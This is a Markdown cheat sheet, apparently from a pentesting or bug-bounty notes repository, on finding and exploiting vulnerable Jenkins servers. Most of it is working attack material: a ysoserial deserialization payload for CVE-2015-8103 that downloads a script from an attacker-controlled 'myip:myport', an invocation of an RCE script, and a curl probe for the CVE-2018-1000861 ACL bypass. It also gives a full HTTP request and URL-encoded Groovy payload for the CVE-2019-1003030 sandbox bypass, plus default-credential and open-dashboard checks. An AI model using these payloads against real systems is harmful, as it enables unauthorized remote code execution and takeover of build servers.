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79 lines
2.7 KiB
Markdown
79 lines
2.7 KiB
Markdown
# Jenkins Common Bugs
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## Introduction
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What would you do if you came across a website that uses Jenkins?
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## How to Detect
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Usually in the HTTP response there is a header like this `X-Jenkins`
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1. Find the related CVE by checking jenkins version
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* How to find the jenkins version
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By checking the response header `X-Jenkins`, sometimes the version is printed there. If you found outdated jenkins version, find the exploit at [pwn_jenkins](https://github.com/gquere/pwn_jenkins)
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Some example CVE:
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- Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)
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Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a payload.
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Then RCE using [this script](./rce/jenkins_rce_cve-2015-8103_deser.py):
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```bash
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java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
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./jenkins_rce.py jenkins_ip jenkins_port payload.out
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```
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- Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)
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Details [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
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If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
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```bash
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curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
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```
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Alternative RCE with Overall/Read and Job/Configure permissions [here](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc).
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- CheckScript RCE in Jenkins (CVE-2019-1003030)
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How to Exploit:
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- [PacketStorm](https://packetstormsecurity.com/files/159603/Jenkins-2.63-Sandbox-Bypass.html)
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```
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GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {
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public x(){
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"ping -c 1 xx.xx.xx.xx".execute()
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}
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} HTTP/1.1
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Host: 127.0.0.1
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Cookie: JSESSIONID.4495c8e0=node01jguwrtw481dx1bf3gaoq5o6no32.node0
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Connection: close
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Upgrade-Insecure-Requests: 1
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```
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URL Encoding the following for RCE
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```
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public class x {
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public x(){
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"ping -c 1 xx.xx.xx.xx".execute()
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}
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}
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```
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to
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%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%22%70%69%6e%67%20%2d%63%20%31%20%78%78%2e%78%78%2e%78%78%2e%78%78%22%2e%65%78%65%63%75%74%65%28%29%0a%7d%0a%7d
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2. Default Credentials
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```
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Try to login using admin as username and password
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```
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3. Unauthenticated Jenkins Dashboard
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```
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Access https://target.com and if there is no login form then it is vulnerable
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```
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## Reference
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* [pwn_jenkins](https://github.com/gquere/pwn_jenkins) |